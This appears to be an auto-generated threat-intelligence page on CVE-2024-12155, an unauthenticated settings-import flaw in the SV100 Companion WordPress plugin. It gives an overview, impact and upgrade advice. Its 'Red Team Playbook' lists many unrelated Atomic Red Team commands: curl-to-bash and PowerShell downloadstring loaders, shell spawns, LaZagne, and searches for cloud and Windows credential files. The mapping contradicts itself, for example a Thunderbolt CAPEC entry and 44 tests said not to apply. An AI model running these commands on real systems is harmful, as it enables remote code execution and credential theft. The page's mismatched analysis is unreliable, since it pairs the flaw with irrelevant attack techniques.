CVE-2024-12155
Overview
This vulnerability is an authorization bypass due to a missing capability check in the settings_import() function of the SV100 Companion WordPress plugin. The root cause is the absence of proper permission validation when processing data modifications within the plugin's settings module. This flaw affects all versions up to and including 2.0.02, specifically the sv_settings.php component responsible for importing configuration settings.
Vulnerability Description
The SV100 Companion plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the settings_import() function in all versions up to, and including, 2.0.02. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. CVE-2024-54229 may be a duplicate of this issue.
Impact
An unauthenticated attacker can exploit this vulnerability to modify critical WordPress site options, such as setting the default user role to administrator and enabling user registration. This enables the attacker to create administrative accounts and gain full control over the affected site. The exploit requires no authentication or user interaction and can be executed remotely over the network, as reflected in the CVSS vector AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H. This leads to complete site compromise and potential data exfiltration or defacement.
Solution
Users should upgrade the SV100 Companion plugin to a version later than 2.0.02 where the missing capability check in settings_import() has been implemented. Detailed patch instructions and version updates are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/c244eb33-acaf-460b-ae1d-6688b21cc60f. No alternative workarounds are documented; immediate update is recommended to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the SV100 Companion plugin for WordPress is characterized by a critical flaw in the settings_import() function, which lacks proper capability checks. This oversight allows unauthorized users to manipulate data within the WordPress environment. Specifically, the absence of these checks means that an attacker can exploit this vulnerability to alter arbitrary options on the site, including the default user role assigned to new registrations. By changing this setting to grant administrative privileges, an attacker can effectively gain full control over the WordPress site, leading to severe security breaches.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an unauthenticated attacker can exploit it. The exploitation process does not require any prior authentication, making it accessible to anyone with knowledge of the vulnerability. An attacker could craft a simple HTTP request to invoke the settings_import() function, thereby modifying critical settings without any barriers. This could be executed through automated scripts, allowing for mass exploitation across multiple sites using the vulnerable plugin. Once the attacker has elevated privileges, they can perform a range of malicious activities, including data theft, site defacement, or even deploying malware.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WordPress for their online presence. The potential for privilege escalation poses a severe risk to the integrity and confidentiality of sensitive data. Organizations could face reputational damage, loss of customer trust, and financial repercussions stemming from data breaches or service disruptions. Furthermore, the ease of exploitation means that even small businesses with limited cybersecurity resources are at risk, making this vulnerability a critical concern for a wide range of WordPress users.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments are essential to identify and remediate such flaws promptly. Keeping plugins and WordPress core updated is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests aimed at exploiting this flaw. Organizations should also consider implementing role-based access controls and monitoring user activities to detect any unauthorized changes made by newly created administrative accounts.
In conclusion, the vulnerability in the SV100 Companion plugin for WordPress presents a critical threat to the security of WordPress sites. Its potential for unauthorized data modification and privilege escalation can lead to severe consequences for businesses, making it imperative for organizations to adopt robust security measures. By understanding the technical details, potential attack vectors, and implementing effective detection and mitigation strategies, businesses can better protect themselves against this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-12155, rising by over 30% to place it in the 0.90th percentile. This shift indicates a growing likelihood of exploitation attempts targeting the SV100 Companion plugin’s critical privilege escalation vulnerability. Although no new exploit variants or active campaigns have been detected by our telemetry, the elevated EPSS score reflects heightened attacker interest and potential preparatory activity in underground forums or automated scanning efforts. For defenders, this change signals an increased risk of opportunistic attacks leveraging the missing capability check in the settings_import() function, which could lead to unauthorized administrative access. The upward trend in EPSS, despite stable short-term activity, suggests that threat actors may be positioning to weaponize this vulnerability more aggressively in the near term. Consequently, the overall threat level associated with CVE-2024-12155 should be considered elevated, warranting closer monitoring and prioritization within vulnerability management programs.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12155 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/c244eb33-acaf-460b-ae1d-6688b21cc60f?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/sv100-companion/trunk/lib/modules/sv_settings/sv_settings.php#L47 |